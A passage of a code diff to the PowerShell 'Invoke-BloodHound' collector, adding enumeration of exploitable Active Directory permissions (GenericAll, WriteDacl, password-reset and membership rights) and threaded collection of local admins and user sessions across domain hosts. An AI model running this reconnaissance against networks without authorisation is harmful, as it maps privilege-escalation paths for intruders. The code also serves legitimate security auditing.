Invoke-BloodHound { if($AccountName -and (-not $AccountName.StartsWith('@'))) { + # Write-Verbose "AccountName: $AccountName" $MemberPrimaryGroupName = $Null try { if($AccountName -match $TargetDomain) { # also retrieve the primary group name for this object, if it exists - if($Properties['primarygroupid'] -and $Properties['primarygroupid'][0] -ne '') { + if($Properties['primarygroupid'] -and $Properties['primarygroupid'][0] -and ($Properties['primarygroupid'][0] -ne '')) { $PrimaryGroupSID = "$DomainSID-$($Properties['primarygroupid'][0])" + # Write-Verbose "PrimaryGroupSID: $PrimaryGroupSID" if($PrimaryGroups[$PrimaryGroupSID]) { $PrimaryGroupName = $PrimaryGroups[$PrimaryGroupSID] } else { - $PrimaryGroupName = Get-ADObject -Domain $Domain -SID $PrimaryGroupSID | Select-Object -ExpandProperty samaccountname - $PrimaryGroups[$PrimaryGroupSID] = $PrimaryGroupName + $RawName = Convert-SidToName -SID $PrimaryGroupSID + if ($RawName -notmatch '^S-1-.*') { + $PrimaryGroupName = $RawName.split('\')[-1] + $PrimaryGroups[$PrimaryGroupSID] = $PrimaryGroupName + } + } + if ($PrimaryGroupName) { + $MemberPrimaryGroupName = "$PrimaryGroupName@$TargetDomain" } - $MemberPrimaryGroupName = "$PrimaryGroupName@$TargetDomain" } else { } } } catch { } + if($MemberPrimaryGroupName) { + # Write-Verbose "MemberPrimaryGroupName: $MemberPrimaryGroupName" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $GroupWriter.WriteLine("`"$MemberPrimaryGroupName`",`"$AccountName`",`"$ObjectType`"") + } + else { + $ObjectTypeCap = $Title.ToTitleCase($ObjectType) + $Null = $Statements.Add( @{ "statement"="MERGE ($($ObjectType)1:$ObjectTypeCap { name: UPPER('$AccountName') }) MERGE (group2:Group { name: UPPER('$MemberPrimaryGroupName') }) MERGE ($($ObjectType)1)-[:MemberOf]->(group2)" } ) + } + } + + # iterate through each membership for this object ForEach($GroupDN in $_.properties['memberof']) { - # iterate through each membership for this object $GroupDomain = $GroupDN.subString($GroupDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' - $GroupName = $GroupDN.SubString(0, $GroupDN.IndexOf(',')).Split('=')[-1] + + if($GroupDNMappings[$GroupDN]) { + $GroupName = $GroupDNMappings[$GroupDN] + } + else { + $GroupName = Convert-ADName -ObjectName $GroupDN + if($GroupName) { + $GroupName = $GroupName.Split('\')[-1] + } + else { + $GroupName = $GroupDN.SubString(0, $GroupDN.IndexOf(',')).Split('=')[-1] + } + $GroupDNMappings[$GroupDN] = $GroupName + } if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { $GroupWriter.WriteLine("`"$GroupName@$GroupDomain`",`"$AccountName`",`"$ObjectType`"") - - if($MemberPrimaryGroupName) { - $GroupWriter.WriteLine("`"$MemberPrimaryGroupName`",`"$AccountName`",`"$ObjectType`"") - } } else { # otherwise we're exporting to the neo4j RESTful API $ObjectTypeCap = $Title.ToTitleCase($ObjectType) $Null = $Statements.Add( @{ "statement"="MERGE ($($ObjectType)1:$ObjectTypeCap { name: UPPER('$AccountName') }) MERGE (group2:Group { name: UPPER('$GroupName@$GroupDomain') }) MERGE ($($ObjectType)1)-[:MemberOf]->(group2)" } ) - if($MemberPrimaryGroupName) { - $Null = $Statements.Add( @{ "statement"="MERGE ($($ObjectType)1:$ObjectTypeCap { name: UPPER('$AccountName') }) MERGE (group2:Group { name: UPPER('$MemberPrimaryGroupName') }) MERGE ($($ObjectType)1)-[:MemberOf]->(group2)" } ) - } if ($Statements.Count -ge $Throttle) { $Json = @{ "statements"=[System.Collections.Hashtable[]]$Statements } @@ -5000,13 +5239,265 @@ function Invoke-BloodHound { $Null = $WebClient.UploadString($URI.AbsoluteUri + "db/data/transaction/commit", $JsonRequest) $Statements.Clear() } - Write-Output "Done with group enumeration for domain $TargetDomain" + Write-Verbose "Done with group enumeration for domain $TargetDomain" } [GC]::Collect() } + if($UseACLs -and $TargetDomains) { + + # $PrincipalMapping format -> @{ PrincipalSID : @(PrincipalSimpleName, PrincipalObjectClass) } + $PrincipalMapping = @{} + $Counter = 0 + + # #CommonSidMapping[SID] = @(name, objectClass) + $CommonSidMapping = @{ + 'S-1-0' = @('Null Authority', 'USER') + 'S-1-0-0' = @('Nobody', 'USER') + 'S-1-1' = @('World Authority', 'USER') + 'S-1-1-0' = @('Everyone', 'GROUP') + 'S-1-2' = @('Local Authority', 'USER') + 'S-1-2-0' = @('Local', 'GROUP') + 'S-1-2-1' = @('Console Logon', 'GROUP') + 'S-1-3' = @('Creator Authority', 'USER') + 'S-1-3-0' = @('Creator Owner', 'USER') + 'S-1-3-1' = @('Creator Group', 'GROUP') + 'S-1-3-2' = @('Creator Owner Server', 'COMPUTER') + 'S-1-3-3' = @('Creator Group Server', 'COMPUTER') + 'S-1-3-4' = @('Owner Rights', 'GROUP') + 'S-1-4' = @('Non-unique Authority', 'USER') + 'S-1-5' = @('NT Authority', 'USER') + 'S-1-5-1' = @('Dialup', 'GROUP') + 'S-1-5-2' = @('Network', 'GROUP') + 'S-1-5-3' = @('Batch', 'GROUP') + 'S-1-5-4' = @('Interactive', 'GROUP') + 'S-1-5-6' = @('Service', 'GROUP') + 'S-1-5-7' = @('Anonymous', 'GROUP') + 'S-1-5-8' = @('Proxy', 'GROUP') + 'S-1-5-9' = @('Enterprise Domain Controllers', 'GROUP') + 'S-1-5-10' = @('Principal Self', 'USER') + 'S-1-5-11' = @('Authenticated Users', 'GROUP') + 'S-1-5-12' = @('Restricted Code', 'GROUP') + 'S-1-5-13' = @('Terminal Server Users', 'GROUP') + 'S-1-5-14' = @('Remote Interactive Logon', 'GROUP') + 'S-1-5-15' = @('This Organization ', 'GROUP') + 'S-1-5-17' = @('This Organization ', 'GROUP') + 'S-1-5-18' = @('Local System', 'USER') + 'S-1-5-19' = @('NT Authority', 'USER') + 'S-1-5-20' = @('NT Authority', 'USER') + 'S-1-5-80-0' = @('All Services ', 'GROUP') + 'S-1-5-32-544' = @('Administrators', 'GROUP') + 'S-1-5-32-545' = @('Users', 'GROUP') + 'S-1-5-32-546' = @('Guests', 'GROUP') + 'S-1-5-32-547' = @('Power Users', 'GROUP') + 'S-1-5-32-548' = @('Account Operators', 'GROUP') + 'S-1-5-32-549' = @('Server Operators', 'GROUP') + 'S-1-5-32-550' = @('Print Operators', 'GROUP') + 'S-1-5-32-551' = @('Backup Operators', 'GROUP') + 'S-1-5-32-552' = @('Replicators', 'GROUP') + 'S-1-5-32-554' = @('Pre-Windows 2000 Compatible Access', 'GROUP') + 'S-1-5-32-555' = @('Remote Desktop Users', 'GROUP') + 'S-1-5-32-556' = @('Network Configuration Operators', 'GROUP') + 'S-1-5-32-557' = @('Incoming Forest Trust Builders', 'GROUP') + 'S-1-5-32-558' = @('Performance Monitor Users', 'GROUP') + 'S-1-5-32-559' = @('Performance Log Users', 'GROUP') + 'S-1-5-32-560' = @('Windows Authorization Access Group', 'GROUP') + 'S-1-5-32-561' = @('Terminal Server License Servers', 'GROUP') + 'S-1-5-32-562' = @('Distributed COM Users', 'GROUP') + 'S-1-5-32-569' = @('Cryptographic Operators', 'GROUP') + 'S-1-5-32-573' = @('Event Log Readers', 'GROUP') + 'S-1-5-32-574' = @('Certificate Service DCOM Access', 'GROUP') + 'S-1-5-32-575' = @('RDS Remote Access Servers', 'GROUP') + 'S-1-5-32-576' = @('RDS Endpoint Servers', 'GROUP') + 'S-1-5-32-577' = @('RDS Management Servers', 'GROUP') + 'S-1-5-32-578' = @('Hyper-V Administrators', 'GROUP') + 'S-1-5-32-579' = @('Access Control Assistance Operators', 'GROUP') + 'S-1-5-32-580' = @('Access Control Assistance Operators', 'GROUP') + } + + ForEach ($TargetDomain in $TargetDomains) { + # enumerate all reachable user/group/computer objects and their associated ACLs + Write-Verbose "Enumerating ACLs for objects in domain: $TargetDomain" + + $ObjectSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $DomainController -ADSPath $UserADSpath + $ObjectSearcher.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl + + # only enumerate user and group objects (for now) + # 805306368 -> user + # 805306369 -> computer + # 268435456|268435457|536870912|536870913 -> groups + $ObjectSearcher.Filter = '(|(samAccountType=805306368)(samAccountType=805306369)(samAccountType=268435456)(samAccountType=268435457)(samAccountType=536870912)(samAccountType=536870913))' + $ObjectSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccountname','dnshostname','objectclass','objectsid','name', 'ntsecuritydescriptor')) + + $ObjectSearcher.FindAll() | ForEach-Object { + $Object = $_.Properties + if($Object -and $Object.distinguishedname -and $Object.distinguishedname[0] -and $Object.objectsid -and $Object.objectsid[0]) { + + $ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value + + try { + # parse the 'ntsecuritydescriptor' field returned + New-Object -TypeName Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 | Select-Object -Expand DiscretionaryAcl | ForEach-Object { + $Counter += 1 + if($Counter % 10000 -eq 0) { + Write-Verbose "ACE counter: $Counter" + if($ACLWriter) { + $ACLWriter.Flush() + } + [GC]::Collect() + } + + $RawActiveDirectoryRights = ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask)) + + # check for the following rights: + # GenericAll - generic fully control of an object + # GenericWrite - write to any object properties + # WriteDacl - modify the permissions of the object + # WriteOwner - modify the owner of an object + # User-Force-Change-Password - extended attribute (00299570-246d-11d0-a768-00aa006e0529) + # WriteProperty/Self-Membership - modify group membership (bf9679c0-0de6-11d0-a285-00aa003049e2) + # WriteProperty/Script-Path - modify a user's script-path (bf9679a8-0de6-11d0-a285-00aa003049e2) + if ( + ( ($RawActiveDirectoryRights -match 'GenericAll|GenericWrite') -and (-not $_.ObjectAceType -or $_.ObjectAceType -eq '00000000-0000-0000-0000-000000000000') ) -or + ($RawActiveDirectoryRights -match 'WriteDacl|WriteOwner') -or + ( ($RawActiveDirectoryRights -match 'ExtendedRight') -and (-not $_.ObjectAceType -or $_.ObjectAceType -eq '00000000-0000-0000-0000-000000000000') ) -or + (($_.ObjectAceType -eq '00299570-246d-11d0-a768-00aa006e0529') -and ($RawActiveDirectoryRights -match 'ExtendedRight')) -or + (($_.ObjectAceType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2') -and ($RawActiveDirectoryRights -match 'WriteProperty')) -or + (($_.ObjectAceType -eq 'bf9679a8-0de6-11d0-a285-00aa003049e2') -and ($RawActiveDirectoryRights -match 'WriteProperty')) + ) { + + $PrincipalSid = $_.SecurityIdentifier.ToString() + $PrincipalSimpleName, $PrincipalObjectClass, $ACEType = $Null + + # only grab the AD right names we care about + # 'GenericAll|GenericWrite|WriteOwner|WriteDacl' + $ActiveDirectoryRights = $ACLGeneralRightsRegex.Matches($RawActiveDirectoryRights) | Select-Object -ExpandProperty Value + if (-not $ActiveDirectoryRights) { + if ($RawActiveDirectoryRights -match 'ExtendedRight') { + $ActiveDirectoryRights = 'ExtendedRight' + } + else { + $ActiveDirectoryRights = 'WriteProperty' + } + + # decode the ACE types here + $ACEType = Switch ($_.ObjectAceType) { + '00299570-246d-11d0-a768-00aa006e0529' {'User-Force-Change-Password'} + 'bf9679c0-0de6-11d0-a285-00aa003049e2' {'Member'} + 'bf9679a8-0de6-11d0-a285-00aa003049e2' {'Script-Path'} + Default {'All'} + } + } + + if ($PrincipalMapping[$PrincipalSid]) { + # Write-Verbose "$PrincipalSid in cache!" + # $PrincipalMappings format -> @{ SID : @(PrincipalSimpleName, PrincipalObjectClass) } + $PrincipalSimpleName, $PrincipalObjectClass = $PrincipalMapping[$PrincipalSid] + } + elseif ($CommonSidMapping[$PrincipalSid]) { + # Write-Verbose "$PrincipalSid in common sids!" + $PrincipalName, $PrincipalObjectClass = $CommonSidMapping[$PrincipalSid] + $PrincipalSimpleName = "$PrincipalName@$TargetDomain" + $PrincipalMapping[$PrincipalSid] = $PrincipalSimpleName, $PrincipalObjectClass + } + else { + # Write-Verbose "$PrincipalSid NOT in cache!" + # first try querying the target domain for this SID + $SIDSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $DomainController + $SIDSearcher.PropertiesToLoad.AddRange(('samaccountname','distinguishedname','dnshostname','objectclass')) + $SIDSearcher.Filter = "(objectsid=$PrincipalSid)" + $PrincipalObject = $SIDSearcher.FindOne() + + if ((-not $PrincipalObject) -and ((-not $DomainController) -or (-not $DomainController.StartsWith('GC:')))) { + # if the object didn't resolve from the current domain, attempt to query the global catalog + $GCSearcher = Get-DomainSearcher -ADSpath $GCADSPath + $GCSearcher.PropertiesToLoad.AddRange(('samaccountname','distinguishedname','dnshostname','objectclass')) + $GCSearcher.Filter = "(objectsid=$PrincipalSid)" + $PrincipalObject = $GCSearcher.FindOne() + } + + if ($PrincipalObject) { + if ($PrincipalObject.Properties.objectclass.contains('computer')) { + $PrincipalObjectClass = 'COMPUTER' + $PrincipalSimpleName = $PrincipalObject.Properties.dnshostname[0] + } + else { + $PrincipalSamAccountName = $PrincipalObject.Properties.samaccountname[0] + $PrincipalDN = $PrincipalObject.Properties.distinguishedname[0] + $PrincipalDomain = $PrincipalDN.SubString($PrincipalDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + $PrincipalSimpleName = "$PrincipalSamAccountName@$PrincipalDomain" + + if ($PrincipalObject.Properties.objectclass.contains('group')) { + $PrincipalObjectClass = 'GROUP' + } + elseif ($PrincipalObject.Properties.objectclass.contains('user')) { + $PrincipalObjectClass = 'USER' + } + else { + $PrincipalObjectClass = 'OTHER' + } + } + } + else { + Write-Verbose "SID not resolved: $PrincipalSid" + } + + $PrincipalMapping[$PrincipalSid] = $PrincipalSimpleName, $PrincipalObjectClass + } + + if ($PrincipalSimpleName -and $PrincipalObjectClass) { + $ObjectName, $ObjectADType = $Null + + if ($Object.objectclass.contains('computer')) { + $ObjectADType = 'COMPUTER' + if ($Object.dnshostname) { + $ObjectName = $Object.dnshostname[0] + } + } + else { + if($Object.samaccountname) { + $ObjectSamAccountName = $Object.samaccountname[0] + } + else { + $ObjectSamAccountName = $Object.name[0] + } + $DN = $Object.distinguishedname[0] + $ObjectDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + $ObjectName = "$ObjectSamAccountName@$ObjectDomain" + + if ($Object.objectclass.contains('group')) { + $ObjectADType = 'GROUP' + } + elseif ($Object.objectclass.contains('user')) { + $ObjectADType = 'USER' + } + else { + $ObjectADType = 'OTHER' + } + } + + if ($ObjectName -and $ObjectADType) { + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $ACLWriter.WriteLine("`"$ObjectName`",`"$ObjectADType`",`"$PrincipalSimpleName`",`"$PrincipalObjectClass`",`"$ActiveDirectoryRights`",`"$ACEType`",`"$($_.AceQualifier)`",`"$($_.IsInherited)`"") + } + else { + Write-Warning 'TODO: implement neo4j RESTful API ingestion for ACLs!' + } + } + } + } + } + } + catch { + Write-Verbose "ACL ingestion error: $_" + } + } + } + } + } + if($UseDomainTrusts -and $TargetDomains) { - Write-Output "Mapping domain trusts" + Write-Verbose "Mapping domain trusts" Invoke-MapDomainTrust | ForEach-Object { if($_.SourceDomain) { $SourceDomain = $_.SourceDomain @@ -5050,13 +5541,13 @@ function Invoke-BloodHound { $Null = $WebClient.UploadString($URI.AbsoluteUri + "db/data/transaction/commit", $JsonRequest) $Statements.Clear() } - Write-Output "Done mapping domain trusts" + Write-Verbose "Done mapping domain trusts" } if($UseGPOGroup -and $TargetDomains) { ForEach ($TargetDomain in $TargetDomains) { - Write-Output "Enumerating GPO local group memberships for domain $TargetDomain" + Write-Verbose "Enumerating GPO local group memberships for domain $TargetDomain" Find-GPOLocation -Domain $TargetDomain -DomainController $DomainController | ForEach-Object { $AccountName = "$($_.ObjectName)@$($_.ObjectDomain)" ForEach($Computer in $_.ComputerName) { @@ -5078,9 +5569,9 @@ function Invoke-BloodHound { } } } - Write-Output "Done enumerating GPO local group memberships for domain $TargetDomain" + Write-Verbose "Done enumerating GPO local group memberships for domain $TargetDomain" } - Write-Output "Done enumerating GPO local groups" + Write-Verbose "Done enumerating GPO local group" # TODO: cypher query to add 'domain admins' to every found machine } @@ -5089,70 +5580,88 @@ function Invoke-BloodHound { # script block that enumerates a server $HostEnumBlock = { - param($ComputerName, $Ping, $CurrentUser2, $UseLocalGroup2, $UseSession2, $UseLoggedon2, $DomainSID2) - $Up = $True - if($Ping) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName - } - if($Up) { + Param($ComputerName, $CurrentUser2, $UseLocalGroup2, $UseSession2, $UseLoggedon2, $DomainSID2) - if($UseLocalGroup2) { - # grab the users for the local admins on this server - $Results = Get-NetLocalGroup -ComputerName $ComputerName -API -IsDomain -DomainSID $DomainSID2 - if($Results) { - $Results - } - else { - Get-NetLocalGroup -ComputerName $ComputerName -IsDomain -DomainSID $DomainSID2 - } - } - - $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress - - if($UseSession2) { - ForEach ($Session in $(Get-NetSession -ComputerName $ComputerName)) { - $UserName = $Session.sesi10_username - $CName = $Session.sesi10_cname - - if($CName -and $CName.StartsWith("\\")) { - $CName = $CName.TrimStart("\") + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if($Up) { + if($UseLocalGroup2) { + # grab the users for the local admins on this server + $Results = Get-NetLocalGroup -ComputerName $TargetComputer -API -IsDomain -DomainSID $DomainSID2 + if($Results) { + $Results } + else { + Get-NetLocalGroup -ComputerName $TargetComputer -IsDomain -DomainSID $DomainSID2 + } + } - # make sure we have a result - if (($UserName) -and ($UserName.trim() -ne '') -and ($UserName -notmatch '\$') -and ($UserName -notmatch $CurrentUser2)) { - # Try to resolve the DNS hostname of $Cname - try { - $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName + $IPAddress = @(Get-IPAddress -ComputerName $TargetComputer)[0].IPAddress + + if($UseSession2) { + ForEach ($Session in $(Get-NetSession -ComputerName $TargetComputer)) { + $UserName = $Session.sesi10_username + $CName = $Session.sesi10_cname + + if($CName -and $CName.StartsWith("\\")) { + $CName = $CName.TrimStart("\") } - catch { - $CNameDNSName = $CName - } - @{ - 'UserDomain' = $Null - 'UserName' = $UserName - 'ComputerName' = $ComputerName - 'IPAddress' = $IPAddress - 'SessionFrom' = $CName - 'SessionFromName' = $CNameDNSName - 'LocalAdmin' = $Null - 'Type' = 'UserSession' + + # make sure we have a result + if (($UserName) -and ($UserName.trim() -ne '') -and ($UserName -notmatch '\$') -and ($UserName -notmatch $CurrentUser2)) { + # Try to resolve the DNS hostname of $Cname + try { + $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName + } + catch { + $CNameDNSName = $CName + } + @{ + 'UserDomain' = $Null + 'UserName' = $UserName + 'ComputerName' = $TargetComputer + 'IPAddress' = $IPAddress + 'SessionFrom' = $CName + 'SessionFromName' = $CNameDNSName + 'LocalAdmin' = $Null + 'Type' = 'UserSession' + } } } } - } - if($UseLoggedon2) { - ForEach ($User in $(Get-NetLoggedon -ComputerName $ComputerName)) { - $UserName = $User.wkui1_username - $UserDomain = $User.wkui1_logon_domain + if($UseLoggedon2) { + ForEach ($User in $(Get-NetLoggedon -ComputerName $TargetComputer)) { + $UserName = $User.wkui1_username + $UserDomain = $User.wkui1_logon_domain - # ignore local account logons - if($ComputerName -notmatch "^$UserDomain") { - if (($UserName) -and ($UserName.trim() -ne '') -and ($UserName -notmatch '\$')) { + # ignore local account logons + if($TargetComputer -notmatch "^$UserDomain") { + if (($UserName) -and ($UserName.trim() -ne '') -and ($UserName -notmatch '\$')) { + @{ + 'UserDomain' = $UserDomain + 'UserName' = $UserName + 'ComputerName' = $TargetComputer + 'IPAddress' = $IPAddress + 'SessionFrom' = $Null + 'SessionFromName' = $Null + 'LocalAdmin' = $Null + 'Type' = 'UserSession' + } + } + } + } + + ForEach ($User in $(Get-LoggedOnLocal -ComputerName $TargetComputer)) { + $UserName = $User.UserName + $UserDomain = $User.UserDomain + + # ignore local account logons ? + if($TargetComputer -notmatch "^$UserDomain") { @{ 'UserDomain' = $UserDomain 'UserName' = $UserName - 'ComputerName' = $ComputerName + 'ComputerName' = $TargetComputer 'IPAddress' = $IPAddress 'SessionFrom' = $Null 'SessionFromName' = $Null @@ -5162,84 +5671,24 @@ function Invoke-BloodHound { } } } - - ForEach ($User in $(Get-LoggedOnLocal -ComputerName $ComputerName)) { - $UserName = $User.UserName - $UserDomain = $User.UserDomain - - # ignore local account logons ? - if($ComputerName -notmatch "^$UserDomain") { - @{ - 'UserDomain' = $UserDomain - 'UserName' = $UserName - 'ComputerName' = $ComputerName - 'IPAddress' = $IPAddress - 'SessionFrom' = $Null - 'SessionFromName' = $Null - 'LocalAdmin' = $Null - 'Type' = 'UserSession' - } - } - } } } } - - if ($TargetDomains -and (-not $SkipComputerEnumeration)) { - # Adapted from: - # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ - $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() - $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() - - # grab all the current variables for this runspace - $MyVars = Get-Variable -Scope 1 - - # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice - $VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true') - - # Add Variables from Parent Scope (current runspace) into the InitialSessionState - ForEach($Var in $MyVars) { - if($VorbiddenVars -NotContains $Var.Name) { - $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) - } - } - - # Add Functions from current runspace to the InitialSessionState - ForEach($Function in (Get-ChildItem Function:)) { - $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) - } - - # threading adapted from - # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 - # Thanks Carlos! - - # create a pool of maxThread runspaces - Write-Output "Creating a runspace with $Threads threads" - $Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) - $Pool.ThreadOptions = [System.Management.Automation.Runspaces.PSThreadOptions]::UseNewThread - $Pool.Open() - - $Jobs = @() - $PS = @() - $Wait = @() - $Counter = 0 - $MovingWindow = 0 - } } PROCESS { if ($TargetDomains -and (-not $SkipComputerEnumeration)) { - + if($Statements) { $Statements.Clear() } + [Array]$TargetComputers = @() ForEach ($TargetDomain in $TargetDomains) { $DomainSID = Get-DomainSid -Domain $TargetDomain $ScriptParameters = @{ - 'Ping' = $True 'CurrentUser2' = $CurrentUser 'UseLocalGroup2' = $UseLocalGroup 'UseSession2' = $UseSession @@ -5248,302 +5697,68 @@ function Invoke-BloodHound { } if($CollectionMethod -eq 'Stealth') { - Write-Output "Executing stealth computer enumeration of domain $TargetDomain" + Write-Verbose "Executing stealth computer enumeration of domain $TargetDomain" - [Array]$TargetComputers = @() - Write-Output "Querying domain $TargetDomain for File Servers" + Write-Verbose "Querying domain $TargetDomain for File Servers" $TargetComputers += Get-NetFileServer -Domain $TargetDomain -DomainController $DomainController - Write-Output "Querying domain $TargetDomain for DFS Servers" + Write-Verbose "Querying domain $TargetDomain for DFS Servers" $TargetComputers += ForEach($DFSServer in $(Get-DFSshare -Domain $TargetDomain -DomainController $DomainController)) { $DFSServer.RemoteServerName } - Write-Output "Querying domain $TargetDomain for Domain Controllers" + Write-Verbose "Querying domain $TargetDomain for Domain Controllers" $TargetComputers += ForEach($DomainController in $(Get-NetDomainController -LDAP -DomainController $DomainController -Domain $TargetDomain)) { $DomainController.dnshostname } $TargetComputers = $TargetComputers | Where-Object {$_ -and ($_.Trim() -ne '')} | Sort-Object -Unique - - ForEach ($Computer in $TargetComputers) { - While ($($Pool.GetAvailableRunspaces()) -le 0) { - Start-Sleep -MilliSeconds 500 - } - - # create a "powershell pipeline runner" - $PS += [PowerShell]::Create() - $PS[$Counter].RunspacePool = $Pool - - # add the script block + arguments - $Null = $PS[$Counter].AddScript($HostEnumBlock).AddParameter('ComputerName', $Computer) - ForEach ($Param in $ScriptParameters.GetEnumerator()) { - $Null = $PS[$Counter].AddParameter($Param.Name, $Param.Value) - } - - # start job - $Jobs += $PS[$Counter].BeginInvoke() - $Counter += 1 - } } else { - Write-Output "Enumerating all machines in domain $TargetDomain" - $ComputerSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $DomainController - $ComputerSearcher.filter = '(sAMAccountType=805306369)' - $Null = $ComputerSearcher.PropertiesToLoad.Add('dnshostname') + if($ComputerName) { + Write-Verbose "Using specified -ComputerName target set" + if($ComputerName -isnot [System.Array]) {$ComputerName = @($ComputerName)} + $TargetComputers = $ComputerName + } + else { + Write-Verbose "Enumerating all machines in domain $TargetDomain" + $ComputerSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $DomainController -ADSPath $ComputerADSpath + $ComputerSearcher.filter = '(sAMAccountType=805306369)' + $Null = $ComputerSearcher.PropertiesToLoad.Add('dnshostname') + $TargetComputers = $ComputerSearcher.FindAll() | ForEach-Object {$_.Properties.dnshostname} + $ComputerSearcher.Dispose() + } + } + $TargetComputers = $TargetComputers | Where-Object { $_ } - ForEach($ComputerResult in $ComputerSearcher.FindAll()) { - $Slept = $False - if($Counter % 100 -eq 0) { - Write-Output "Computer counter: $Counter" - } - elseif($Counter % 1000 -eq 0) { - 1..3 | ForEach-Object { - $Null = [GC]::Collect() - } - } + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParameters -Threads $Threads | ForEach-Object { + if($_['Type'] -eq 'UserSession') { + if($_['SessionFromName']) { + try { + $SessionFromName = $_['SessionFromName'] + $UserName = $_['UserName'].ToUpper() + $ComputerDomain = $_['SessionFromName'].SubString($_['SessionFromName'].IndexOf('.')+1).ToUpper() - while ($($Pool.GetAvailableRunspaces()) -le 0) { - Start-Sleep -MilliSeconds 500 - $Slept = $True - } - - # if we slept, meaning all threads were occupised, consume results as they complete - # with a 'moving window' that moves 300 threads behind the current point - if($Slept -and (($Counter-$Threads-300) -gt 0) ) { - for ($y = $MovingWindow; $y -lt $($Counter-$Threads-300); $y++) { - if($Jobs[$y].IsCompleted) { - try { - # complete async job - $PS[$y].EndInvoke($Jobs[$y]) | ForEach-Object { - if($_['Type'] -eq 'UserSession') { - if($_['SessionFromName']) { - try { - $SessionFromName = $_['SessionFromName'] - $UserName = $_['UserName'].ToUpper() - $ComputerDomain = $_['SessionFromName'].SubString($_['SessionFromName'].IndexOf('.')+1).ToUpper() - - if($UserDomainMappings) { - $UserDomain = $Null - if($UserDomainMappings[$UserName]) { - if($UserDomainMappings[$UserName].Count -eq 1) { - $UserDomain = $UserDomainMappings[$UserName] - $LoggedOnUser = "$UserName@$UserDomain" - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"1`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" } ) - } - } - else { - $ComputerDomain = $_['SessionFromName'].SubString($_['SessionFromName'].IndexOf('.')+1).ToUpper() - - $UserDomainMappings[$UserName] | ForEach-Object { - # for multiple GC results, set a weight of 1 for the same domain as the target computer - if($_ -eq $ComputerDomain) { - $UserDomain = $_ - $LoggedOnUser = "$UserName@$UserDomain" - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"1`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" } ) - } - } - # and set a weight of 2 for all other users in additional domains - else { - $UserDomain = $_ - $LoggedOnUser = "$UserName@$UserDomain" - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)" } ) - } - } - } - } - } - else { - # no user object in the GC with this username, so set the domain to "UNKNOWN" - $LoggedOnUser = "$UserName@UNKNOWN" - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)" } ) - } - } - } - else { - # if not using GC mappings, set the weight to 2 - $LoggedOnUser = "$UserName@$ComputerDomain" - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - 